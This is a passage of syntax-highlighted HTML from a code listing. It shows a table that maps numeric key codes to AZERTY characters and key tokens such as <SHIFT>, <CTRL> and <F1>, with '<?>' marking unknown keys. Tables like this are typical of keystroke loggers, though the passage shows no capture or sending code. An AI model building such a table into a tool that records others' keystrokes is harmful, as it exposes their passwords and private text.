#d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<BACKSPACE>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">15</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<TAB>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">16</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"a"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">17</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"z"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">18</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"e"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">19</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"r"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">20</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"t"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">21</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"y"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">22</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"u"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">23</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"i"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">24</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"o"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">25</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"p"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">26</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"^"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">27</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"$"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">28</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"</span><span style="color: #008080; background: #281800;">r</span><span style="color: #00c4c4; background: #281800;">"</span><span style="color: #d2cd86; background: #281800;">,</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #9999a9; background: #281800;">// key 'Return'</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">29</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<CTRL>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">30</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"q"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">31</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"s"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">32</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"d"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">33</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"f"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">34</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"g"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">35</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"h"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">36</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"j"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">37</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"k"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">38</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"l"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">39</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"m"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">40</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"ù"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">41</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"²"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">42</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<SHIFT>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">43</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"*"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">44</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"w"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">45</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"x"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">46</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"c"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">47</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"v"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">48</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"b"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">49</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"n"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">50</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">","</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">51</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">";"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">52</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">":"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">53</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"!"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">54</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<SHIFT>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">55</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"*"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">56</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<ALT>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">57</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">" "</span><span style="color: #d2cd86; background: #281800;">,</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #9999a9; background: #281800;">// key 'Space Bar'</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">58</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<CAPSLOCK>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">59</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F1>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">60</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F2>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">61</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F4>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">62</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F5>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">63</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F6>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">64</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F7>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">65</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F8>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">66</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F9>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">67</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F10>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">68</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">69</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<VerNum>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">70</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">71</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"7"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">72</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"8"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">73</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"9"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">74</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"-"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">75</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"4"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">76</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"5"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">77</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"6"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">78</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"+"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">79</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"1"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">80</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"2"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">81</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"3"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">82</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"0"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">83</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">84</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">85</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">86</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">87</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F11>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">88</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<F12>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">89</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">90</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">91</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">92</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">93</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">94</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">95</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: 